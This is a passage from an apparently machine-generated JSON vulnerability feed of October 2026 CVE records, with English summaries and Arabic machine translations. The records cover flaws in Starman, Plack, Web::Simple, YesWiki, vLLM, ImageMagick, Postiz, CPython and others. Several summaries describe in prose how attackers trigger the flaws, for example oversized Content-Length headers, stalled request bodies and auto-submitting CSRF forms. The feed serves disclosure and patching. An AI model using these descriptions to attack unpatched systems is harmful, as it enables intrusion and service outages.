guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"php-group-php"},{"id":"CVE-2026-36698","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Xovis AG APS-R-POE, APS-R-POE-PP, APS-R, APS-R-POE-USB, and APS-B 2.10.1.1 and earlier contains an OS command injection vulnerability in /sbin/ImportP","ar":"تحتوي منتجات Xovis AG الممثلة في APS-R-POE و APS-R-POE-PP و APS-R و APS-R-POE-USB و APS-B بالإصدار 2.10.1.1 وما يسبقها على ثغرة حقن أوامر نظام التشغيل في الملف \\/sbin\\/ImportP"},"summary":{"en":"Xovis AG APS-R-POE, APS-R-POE-PP, APS-R, APS-R-POE-USB, and APS-B 2.10.1.1 and earlier contains an OS command injection vulnerability in /sbin/ImportParamSet.sh. The script processes symlinks from uploaded parameter archive files and embeds the symlink target path into a shell command without quoting or sanitization. The command is executed as root via APC_SendMsg IPC.","ar":"تحتوي منتجات Xovis AG الممثلة في APS-R-POE و APS-R-POE-PP و APS-R و APS-R-POE-USB و APS-B بالإصدار 2.10.1.1 وما يسبقها على ثغرة حقن أوامر نظام التشغيل في الملف \\/sbin\\/ImportParamSet.sh. يقوم البرنامج النصي بمعالجة الروابط الرمزية من ملفات أرشيف المعلمات التي تم تحميلها وتضمين مسار هدف الرابط الرمزي في أمر صدفة دون وضع علامات اقتباس أو تعقيم. يتم تنفيذ الأمر بصلاحيات root عبر IPC من نوع APC_SendMsg."},"refs":[["https://github.com/JebSec/jebsec-security-advisories/blob/main/advisories/CVE-2026-36698.md","ref"]],"epss":0.0103,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107090","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-427","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An issue in Maltego Technologies GmbH Maltego Windows Installer 4.13.0 allows a local attacker to execute arbitrary code via the Maltego Windows insta","ar":"تتيح مشكلة في Maltego Technologies GmbH Maltego Windows Installer 4.13.0 لمهاجم محلي تنفيذ شيفرة عشوائية عبر أداة التثبيت"},"summary":{"en":"An issue in Maltego Technologies GmbH Maltego Windows Installer 4.13.0 allows a local attacker to execute arbitrary code via the Maltego Windows installer executable-resolution logic","ar":"تتيح مشكلة في Maltego Technologies GmbH Maltego Windows Installer 4.13.0 لمهاجم محلي تنفيذ شيفرة عشوائية عبر منطق تحليل الملف التنفيذي لتثبيت Maltego على نظام Windows"},"refs":[["https://gist.github.com/Vishnu-0609/87105bccf3bb524171a56a7a18480bfb","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-106677","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Homestay3 homestay-backend 0.0.1-SNAPSHOT contains an IDOR in ChatServiceImpl.","ar":"يحتوي Homestay3 homestay-backend 0.0.1-SNAPSHOT على ثغرة الكشف عن المراجع غير الآمنة المباشرة (IDOR) في ChatServiceImpl."},"summary":{"en":"Homestay3 homestay-backend 0.0.1-SNAPSHOT contains an IDOR in ChatServiceImpl. An authenticated user can view conversations, read messages, send messages, and mark messages as read for arbitrary conversation ids because the service does not verify that the caller is a conversation participant.","ar":"يحتوي Homestay3 homestay-backend 0.0.1-SNAPSHOT على ثغرة الكشف عن المراجع غير الآمنة المباشرة (IDOR) في ChatServiceImpl. يمكن للمستخدم الذي يملك حسابًا مصادقًا عليه عرض المحادثات، وقراءة الرسائل، وإرسال الرسائل، وتحديد الرسائل كمقروءة لمعرفات محادثات عشوائية لأن الخدمة لا تحقق من أن المتصل مشارك في المحادثة."},"refs":[["https://github.com/homestay3/homestay-backend","ref"],["https://github.com/tao0845/CVE-Request/blob/main/CVE-2026-106677.md","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115823","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-444","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T17:17:01Z","product":"Unknown product","affected":[["0 – <0.4019","0.4019"]],"title":{"en":"Starman versions before 0.4019 for Perl send response bodies for HEAD requests, desynchronizing responses on keep-alive connections","ar":"إصدارات Starman قبل 0.4019 المخصصة للغة Perl ترسل نصوص استجابة لطلبات HEAD، مما يؤدي إلى عدم مزامنة الاستجابات على اتصالات keep-alive"},"summary":{"en":"Starman versions before 0.4019 for Perl send response bodies for HEAD requests, desynchronizing responses on keep-alive connections. For a HEAD request Starman omits chunked framing but still writes the body returned by the application, on both the array and streaming response paths. Responses with a 1xx, 204 or 304 status also carry the body. On a keep-alive or pipelined connection the client reads those bytes as the start of the next response. A front-end proxy that reuses upstream connections may then pair responses with the wrong requests.","ar":"إصدارات Starman قبل 0.4019 المخصصة لـ Perl ترسل نصوص استجابة لطلبات HEAD، مما يؤدي إلى عدم مزامنة الاستجابات على اتصالات keep-alive. بالنسبة لطلب HEAD، يتخلى Starman عن التقطيع الهيكلي لكنه يظل يكتب النص المُعاد بواسطة التطبيق، وذلك في مساري استجابة المصفوفة والبث. الاستجابات ذات حالات 1xx أو 204 أو 304 تحوي أيضًا نص الاستجابة. في اتصال keep-alive أو الاتصال الخطي (pipelined)، يقرأ العميل تلك البايتات كبداية للاستجابة التالية. وقد يقوم الوكيل الأمامي الذي يعيد استخدام الاتصالات الواردة بربط الاستجابات بالطلبات الخاطئة بعد ذلك."},"refs":[["https://github.com/miyagawa/Starman/commit/91c47c529cd1e100f938486896ea9083ec3ec7bf.patch","patch"],["https://metacpan.org/release/MIYAGAWA/Starman-0.4019/changes","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115824","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T17:17:01Z","product":"Unknown product","affected":[["0 – <0.4019","0.4019"]],"title":{"en":"Starman versions before 0.4019 for Perl allow memory exhaustion via unbounded buffering of chunked request bodies","ar":"إصدارات Starman قبل 0.4019 لـ Perl تسمح باستنزاف الذاكرة عبر التخزين المؤقت غير المحدود لأجسام الطلبات المتقطعة"},"summary":{"en":"Starman versions before 0.4019 for Perl allow memory exhaustion via unbounded buffering of chunked request bodies. The chunked body decoder keeps each chunk in memory until the whole chunk and its CRLF have arrived, and sets no limit on the length of a chunk-size line. A client that declares a huge chunk size and streams data, or sends a chunk-size line that never ends, grows the buffer for as long as it keeps sending. A remote attacker can exhaust worker memory with a single connection.","ar":"إصدارات Starman قبل 0.4019 لـ Perl تسمح باستنزاف الذاكرة عبر التخزين المؤقت غير المحدود لأجسام الطلبات المتقطعة. يحافظ محلل الجسم المتقطع على كل قطعة في الذاكرة حتى تصل القطعة بأكملها مع رمز CRLF الخاص بها، ولا يضع أي حدود على طول سطر حجم القطعة. العميل الذي يعلن عن حجم قطعة ضخم ويبث البيانات، أو يرسل سطر حجم قطعة لا ينتهي أبدًا، يجعل المخزن المؤقت يتوسع طالما استمر في الإرسال. يمكن لمهاجم عن بُعد استنزاف ذاكرة العمال باتصال واحد."},"refs":[["https://github.com/miyagawa/Starman/commit/0f33f9b132b5e410d6cce722ff71988e22476acf.patch","patch"],["https://github.com/miyagawa/Starman/commit/d789a02dbe5408ef5f7a4659078d0008dd84c308.patch","patch"],["https://metacpan.org/release/MIYAGAWA/Starman-0.4019/changes","ref"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115825","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-789","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T16:51:54Z","product":"Unknown product","affected":[["0 – <1.0056","1.0056"]],"title":{"en":"HTTP::Server::PSGI versions before 1.0056 for Perl allow a single request to crash the server by declaring a large Content-Length","ar":"إصدارات HTTP::Server::PSGI قبل 1.0056 للغة Perl تسمح لطلب واحد بتعطيل الخادم عبر الإعلان عن Content-Length كبير"},"summary":{"en":"HTTP::Server::PSGI versions before 1.0056 for Perl allow a single request to crash the server by declaring a large Content-Length. The request body is read with sysread() calls sized by the remaining Content-Length. Perl grows the read buffer to the requested length before any data arrives, so the server tries to allocate as much memory as the client declares. A remote attacker can send one request with a large Content-Length and a few body bytes, and perl exits with an out-of-memory error before the application is called. HTTP::Server::PSGI runs as a single process, so the server stays down until restarted.","ar":"تسمح إصدارات HTTP::Server::PSGI قبل 1.0056 للغة Perl لطلب واحد بتعطيل الخادم عبر الإعلان عن Content-Length كبير. تتم قراءة جسم الطلب باستخدام استدعاءات sysread() بحجم يحدده Content-Length المتبقي. تقوم لغة Perl بتوسيع مخزن المؤقت للقراءة إلى الطول المطلوبة قبل وصول أي بيانات، لذا يحاول الخادم تخصيص ذاكرة بقدر ما يعلنه العميل. يمكن لمهاجم عن بُعد إرسال طلب واحد بمعلمة Content-Length كبيرة وبضعة بايتات من الجسم، وتتوقف لغة Perl عن العمل بخطأ نفاد الذاكرة قبل استدعاء التطبيق. يعمل HTTP::Server::PSGI كعملية واحدة، لذا يظل الخادم معطلاً حتى يتم إعادة تشغيله."},"refs":[["https://github.com/plack/Plack/commit/11545871cadc5df1b744cebb429cfeb4ebc1069a.patch","patch"],["https://metacpan.org/release/MIYAGAWA/Plack-1.0056/changes","ref"]],"epss":0.0066,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115822","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T16:51:00Z","product":"Unknown product","affected":[["0 – <0.4019","0.4019"]],"title":{"en":"Starman versions before 0.4019 for Perl allow CPU exhaustion via quadratic regex backtracking when parsing chunked request bodies","ar":"إصدارات Starman قبل 0.4019 المخصصة لـ Perl تتيح استنزاف وحدة المعالجة المركزية عبر التراجع التربيعي للتعبيرات النمطية عند تحليل أجسام الطلبات المتقطعة"},"summary":{"en":"Starman versions before 0.4019 for Perl allow CPU exhaustion via quadratic regex backtracking when parsing chunked request bodies. Starman decodes chunked request bodies before calling the application, matching each chunk-size line with `s/^(([0-9a-fA-F]+).*\\015\\012)//`. A line of hex digits followed by a bare LF and then CRLF never matches, because `.` does not match LF, and each failed attempt backtracks in time quadratic in the length of the hex run. Nothing limits the length of the line. A remote attacker can exhaust worker CPU by sending such requests to any route.","ar":"تتيح إصدارات Starman قبل 0.4019 المخصصة لـ Perl استنزاف وحدة المعالجة المركزية عبر التراجع التربيعي للتعبيرات النمطية عند تحليل أجسام الطلبات المتقطعة. تقوم Starman فك ترميز أجسام الطلبات المتقطعة قبل استدعاء التطبيق، ومطابقة كل سطر لحجم القطعة باستخدام التعبير `s/^(([0-9a-fA-F]+).*\\015\\012)//`. السطر المكون من أرقام ست عشرية يليه حرف تغذية خط عاري ثم CRLF لا يتطابق أبداً، نظراً لأن نقطة `.` لا تتطابق مع تغذية الخط، وكل محاولة فاشلة تتراجع بوقت تربيعي بالنسبة لطول السلسلة السداسية عشرية. لا يوجد ما يحد من طول السطر. يمكن لمهاجم عن بُعد استنزاف وحدة المعالجة المركزية للعامل عبر إرسال مثل هذه الطلبات إلى أي مسار."},"refs":[["https://github.com/miyagawa/Starman/commit/0f33f9b132b5e410d6cce722ff71988e22476acf.patch","patch"],["https://metacpan.org/release/MIYAGAWA/Starman-0.4019/changes","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115817","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T16:50:33Z","product":"Unknown product","affected":[["0 – <0.4019","0.4019"]],"title":{"en":"Starman versions before 0.4019 for Perl allow a stalled request body to hold a worker indefinitely, as read_timeout covers only the headers","ar":"إصدارات Starman قبل 0.4019 لـ Perl تسمح لجسم طلب متوقف مؤقتاً بإبقاء عامل مشغولا إلى أجل غير مسمى نظراً لأن read_timeout يغطي الترويسات فقط"},"summary":{"en":"Starman versions before 0.4019 for Perl allow a stalled request body to hold a worker indefinitely, as read_timeout covers only the headers. Content-Length and chunked request bodies are read with blocking reads and no deadline. A client that sends complete headers and then stalls or trickles the body keeps the worker waiting until it disconnects. A remote attacker can take every worker with a few such connections, five with the default worker count, so the server stops answering requests. Version 0.4019 applies read_timeout to each wait for body data and adds a body_timeout limit, 300 seconds by default, on the total time to read a body.","ar":"تتيح إصدارات Starman قبل 0.4019 لـ Perl لجسم طلب متوقف مؤقتاً إبقاء عامل مشغولًا إلى أجل غير مسمى، نظراً لأن read_timeout يغطي الترويسات فقط. تتم قراءة ترويسة Content-Length وأجسام الطلبات المتقطعة عبر عمليات قراءة مانعة دون موعد نهائي. العميل الذي يرسل الترويسة بالكامل ثم يتوقف أو يرسل الجسم ببطء يجعل العامل ينتظر حتى يقطع الاتصال. يمكن لمهاجم عن بُعد الاستحواذ على كل عامل ببعض هذه الاتصالات، خمسة مع عدد العمال الافتراضي، ليتوقف الخادم عن الرد على الطلبات. يطبق الإصدار 0.4019 الخاصية read_timeout على كل انتظار لبيانات الجسم ويضيف حد body_timeout، بواقع 300 ثانية افتراضياً، على إجمالي وقت قراءة الجسم."},"refs":[["https://github.com/miyagawa/Starman/commit/89dffd3bdc9baa1cbe1b48a43615586ba2588558.patch","patch"],["https://github.com/miyagawa/Starman/commit/a30533c03051502d6b67cd48b3a95a61e129691b.patch","patch"],["https://metacpan.org/release/MIYAGAWA/Starman-0.4019/changes","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-116208","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T14:17:02Z","product":"YesWiki yeswiki","affected":[["4.6.2 – <4.7.0","4.7.0"]],"title":{"en":"YesWiki 4.6.2 before 4.7.0 Missing Authorization in ActivityPub syncActorPosts","ar":"نقص التفويض في ActivityPub syncActorPosts ضمن YesWiki 4.6.2 حتى الإصدار 4.7.0"},"summary":{"en":"YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other actors' mirrored entries. Attackers can serve a poisoned outbox with cross-actor Delete, Update, or Create activities during admin-initiated sync to delete, overwrite, forge, or mass-delete entries.","ar":"تحتوي منصة YesWiki من الإصدار 4.6.2 حتى ما قبل 4.7.0 على ثغرة نقص تفويض في ActivityPubService::syncActorPosts والتي تتيح لخوادم ActivityPub الخبيثة التلاعب بالمدخلات المُعكاسة للجهات الفاعلة الأخرى. يمكن للمهاجمين تقديم صندوق صادر ملغم بأنشطة حذف أو تحديث أو إنشاء متقاطعة للجهات الفاعلة أثناء المزامنة التي يبدأها المسؤول، وذلك لحذف المدخلات، أو الكتابة فوقها، أو تزويرها، أو حذفها جماعيًا."},"refs":[["https://github.com/YesWiki/yeswiki/security/advisories/GHSA-cr64-h6xp-9g2j","advisory"],["https://www.vulncheck.com/advisories/yeswiki-4.6.2-before-4.7.0-missing-authorization-in-activitypub-syncactorposts","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeswiki"},{"id":"CVE-2026-116204","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T14:17:01Z","product":"YesWiki yeswiki","affected":[["0 – <4.7.0","4.7.0"]],"title":{"en":"YesWiki before 4.7.0 CSRF via despam Admin Action","ar":"تزوير الطلبات عبر الموقع (CSRF) عبر إجراء المسؤول despam في YesWiki قبل الإصدار 4.7.0"},"summary":{"en":"YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or restore pages through an administrator's session. Attackers can plant an auto-submitting raw HTML form on a wiki page, so an administrator who views it posts clean, suppr[], or rev[] parameters that delete PagePrincipale, configuration pages, or overwrite current content.","ar":"تحتوي منصة YesWiki قبل الإصدار 4.7.0 على ثغرة تزوير الطلبات عبر الموقع في إجراء despam (الموجود في tools/security/actions/despam.php) والتي تتيح للمهاجمين دون مصادقة حذف أو استعادة الصفحات من خلال جلسة المسؤول. يمكن للمهاجمين زرع نموذج HTML خام يُرسل تلقائيًا على صفحة ويكي، بحيث يقوم المسؤول الذي يعرضه بإرسال معاملات نظيفة، أو suppr[]، أو rev[] تؤدي إلى حذف PagePrincipale أو صفحات التكوين أو الكتابة فوق المحتوى الحالي."},"refs":[["https://github.com/YesWiki/yeswiki/security/advisories/GHSA-cv88-hx5q-vq72","advisory"],["https://www.vulncheck.com/advisories/yeswiki-before-4.7.0-csrf-via-despam-admin-action","advisory"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeswiki"},{"id":"CVE-2026-116176","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T14:16:57Z","product":"Vllm Vllm","affected":[["0.9.2 – <0.24.0","0.24.0"]],"title":{"en":"vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding ","ar":"تحتوي vLLM من الإصدار 0.9.2 حتى قبل 0.24.0 على ثغرة تزوير الطلبات من جهة الخادم"},"summary":{"en":"vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the X-Request-Id header. Attackers can make a P2pNcclConnector prefill worker ZMQ-connect to an attacker host, leaking the NCCL unique_id and KV-cache tensors or blocking the worker.","ar":"تحتوي منصة vLLM من الإصدار 0.9.2 حتى قبل 0.24.0 على ثغرة تزوير الطلبات من جهة الخادم (SSRF) والتي تتيح لمستدعي واجهة برمجة التطبيقات فرض اتصالات صادرة عن طريق تضمين عنوان فك ترميز في ترويسة X-Request-Id. يمكن للمهاجمين جعل عامل التمهيد P2pNcclConnector يتصل عبر ZMQ بمضيف خاص بالمهاجم، مما يؤدي إلى تسريب معرف NCCL الفريد وشرائح ذاكرة التخزين المؤقت KV أو حظر العامل."},"refs":[["https://github.com/vllm-project/vllm/security/advisories/GHSA-vfp2-c8pq-v6h6","advisory"],["https://www.vulncheck.com/advisories/vllm-0.9.2-before-0.24.0-ssrf-via-x-request-id-in-p2pncclconnector","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-116149","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-25T14:16:53Z","product":"Imagemagick Imagemagick","affected":[[" – <6.9.13-58","6.9.13-58"],["7.0.0-0 – <7.1.2-33","7.1.2-33"]],"title":{"en":"ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images.","ar":"تحتوي إصدارات ImageMagick السابقة لـ 6.9.13-58 و7.x السابقة لـ 7.1.2-33 على فيضان المخزن المؤقت القائم على المكدس (stack-based buffer overflow) في التعامل مع الصور المضغوطة بـ bzip2."},"summary":{"en":"ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. Attackers can supply a crafted image using bzip2 compression to overwrite stack memory during decoding, causing crashes or memory corruption.","ar":"تحتوي إصدارات ImageMagick السابقة لـ 6.9.13-58 و7.x السابقة لـ 7.1.2-33 على فيضان المخزن المؤقت القائم على المكدس (stack-based buffer overflow) في التعامل مع الصور المضغوطة بـ bzip2. يمكن للمهاجمين توفير صورة مصممة خصيصًا باستخدام ضغط bzip2 للكتابة فوق ذاكرة المكدس أثناء فك التشفير، مما يتسبب في تعطل النظام أو تلف الذاكرة."},"refs":[["https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pwpf-8799-94cj","advisory"],["https://www.vulncheck.com/advisories/imagemagick-before-6.9.13-58-and-7-x-before-7.1.2-33-stack-buffer-overflow-via-bzip2-compressed-images","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"imagemagick"},{"id":"CVE-2026-115933","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-290","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T14:17:05Z","product":"GitroomHQ postiz-app","affected":[["2.15.0 – <2.25.3","2.25.3"]],"title":{"en":"Forged signed tokens let any registered user take over other users and organizations","ar":"رموز المصادقة الموقعَة والمزوّرة تتيح لأي مستخدم مسجّل السيطرة على مستخدمين ومؤسسات أخرى"},"summary":{"en":"Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back. A user could therefore obtain a validly signed token containing any claims they choose, which the application accepts as a session, as an organization invitation with a chosen role, as a password reset or as an enterprise provisioning token. A second, narrower route that creates team invitations signs extra fields from the request body in the same way.","ar":"يقوم تطبيق Postiz بتوقيع رموز الجلسة والدعوات وإعادة تعيين كلمة المرور باستخدام سر مشترك واحد ودون أي علامة توضح الغرض من الرمز. يقوم مسار يعمل على تحديث بيانات الاعتماد الخاصة بقناة ملحقات المتصفح بتوقيع بيانات مأخوذة من الطلب نفسه وتخزينها في مكان يمكن للمستخدم الطالب قراءتها. وبالتالي، يمكن للمستخدم الحصول على رمز موقع بشكل صحيح يحتوي على أي مطالبات يختارها، وهو ما يقبله التطبيق كجلسة، أو كدعوة لمؤسسة بصدور دور محدد، أو كإعادة تعيين كلمة مرور، أو كرمز توفير للمؤسسات. ويقوم مسار ثانٍ أضيق نطاقاً لإنشاء دعوات الفريق بتوقيع حقول إضافية من جسم الطلب بالطريقة ذاتها."},"refs":[["https://github.com/gitroomhq/postiz-app/commit/a5affe62c74e39c1e7ac960d50d8418b807d532c","patch"],["https://gadvisory.org/advisories/PSA-2026-YT2HMH","advisory"],["https://github.com/gitroomhq/postiz-app","ref"],["https://github.com/gitroomhq/postiz-app/releases/tag/v2.25.3","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gitroomhq-postiz-app"},{"id":"CVE-2026-115557","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-299","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T14:15:14Z","product":"Python Software Foundation CPython","affected":[["0 – <3.11.18","3.11.18"],["3.12.0 – <3.12.16","3.12.16"],["3.13.0 – <3.13.18","3.13.18"],["3.14.0 – <3.14.10","3.14.10"],["3.15.0 – <3.15.2","3.15.2"],["3.16.0a1 – <3.16.0","3.16.0"]],"title":{"en":"Distrust compromised intermediate certificates in ssl module","ar":"عدم الوثوق بالشهادات الوسيطة المُخترقة في وحدة ssl"},"summary":{"en":"Python has added a denylist for known compromised certificates to the \"ssl\" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.","ar":"أضافت بايثون قائمة حظر للشهادات المعروف بتعرضها للاختراق إلى وحدة \"ssl\" لضمان سلامة المستخدمين حتى دون تكوين ميزة إبطال الشهادات. سيتم رفض الشهادات المعروف بتعرضها للاختراق تلقائياً بغض النظر عن تكوين سياسة SSLContext."},"refs":[["https://github.com/python/cpython/pull/160042","patch"],["https://github.com/python/cpython/commit/21a50891ab4be2e9955239e625ae2b40c6b1854d","patch"],["https://github.com/python/cpython/commit/36cd295f32fc9ba19399e01abee91231440a41dd","patch"],["https://github.com/python/cpython/commit/48d9b2712cd52206c7a5882d0fdca4863ed65e93","patch"],["https://github.com/python/cpython/commit/7dd8b4736a1419750b94a388e6d158be15836fe6","patch"],["https://github.com/python/cpython/commit/98f0e4ed349f370dc8a00366da1a9797e11c9ed5","patch"],["https://github.com/python/cpython/commit/a17d9ef549008133eadf20689b1f4787902efe5b","patch"],["https://github.com/python/cpython/commit/af52b41afa4330fb38583db553631baa2f122f90","patch"],["https://github.com/python/cpython/commit/c7fd7edf7e0d122a3973cf676fae21b6aaa650a8","patch"],["https://github.com/python/cpython/commit/e2a9dd97ef9571c710ac0afaa834c8879aebce78","patch"],["https://github.com/python/cpython/commit/e4500d8a437ee5b988a5410cb9b59d177aa01370","patch"],["https://github.com/python/cpython/commit/e4f63e65a93cf44c14274aa987e644b8c003625e","patch"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"python-software-foundation-cpython"},{"id":"CVE-2026-114629","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-789","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T13:50:47Z","product":"Unknown product","affected":[["0 – <0.035","0.035"]],"title":{"en":"Web::Simple versions before 0.035 for Perl allocate a buffer sized by the Content-Length header for urlencoded body parameters","ar":"إصدارات Web::Simple قبل 0.035 للغة Perl تخصص مخزناً مؤقتاً بحجم محدد بواسطة رأس Content-Length لمعلمات الجسم المشفرة بصيغة urlencoded"},"summary":{"en":"Web::Simple versions before 0.035 for Perl allocate a buffer sized by the Content-Length header for urlencoded body parameters. Web::Dispatch::ParamParser::get_unpacked_body_from reads an application/x-www-form-urlencoded body using a single read call, with no cap and the return value ignored. Perl's read grows the buffer to the requested length before reading, so the declared Content-Length determines the allocation. An attacker can trigger this through any route whose dispatch specification has a % body-parameter match, such as sub (POST + %name=), sending a Content-Length far larger than the body actually sent. No authentication is involved.","ar":"تخصص إصدارات Web::Simple قبل 0.035 للغة Perl مخزناً مؤقتاً بحجم محدد بواسطة رأس Content-Length لمعلمات الجسم المشفرة بصيغة urlencoded. تقوم الوظيفة Web::Dispatch::ParamParser::get_unpacked_body_from بقراءة جسم تطبيق من نوع application/x-www-form-urlencoded باستخدام استدعاء قراءة واحد، دون حد أقصى وتتجاهل قيمة الإرجاع. تؤدي عملية القراءة في Perl إلى زيادة حجم المخزن المؤقت إلى الطول المطلوب قبل القراءة، لذا فإن رأس Content-Length المُعلن يحدد مساحة التخصيص. يمكن للمهاجم إطلاق هذا من خلال أي مسار يحتوي مواصف مطابقة معلمات الجسم الخاصة به على علامة نسبة مئوية، مثل sub (POST + %name=)، عن طريق إرسال قيمة Content-Length أكبر بكثير من الجسم المُرسَل فعلياً. لا تتطلب هذه العملية أي مصادقة."},"refs":[["https://github.com/p5sagit/Web-Simple/commit/7e02c4f6204a2898938d357e6efe6dc2679af695.patch","patch"],["https://metacpan.org/release/ETHER/Web-Simple-0.035/changes","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115932","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T12:28:36Z","product":"GitroomHQ postiz-app","affected":[["2.23.0 – <2.25.3","2.25.3"]],"title":{"en":"Path traversal in post media lets any registered user read server 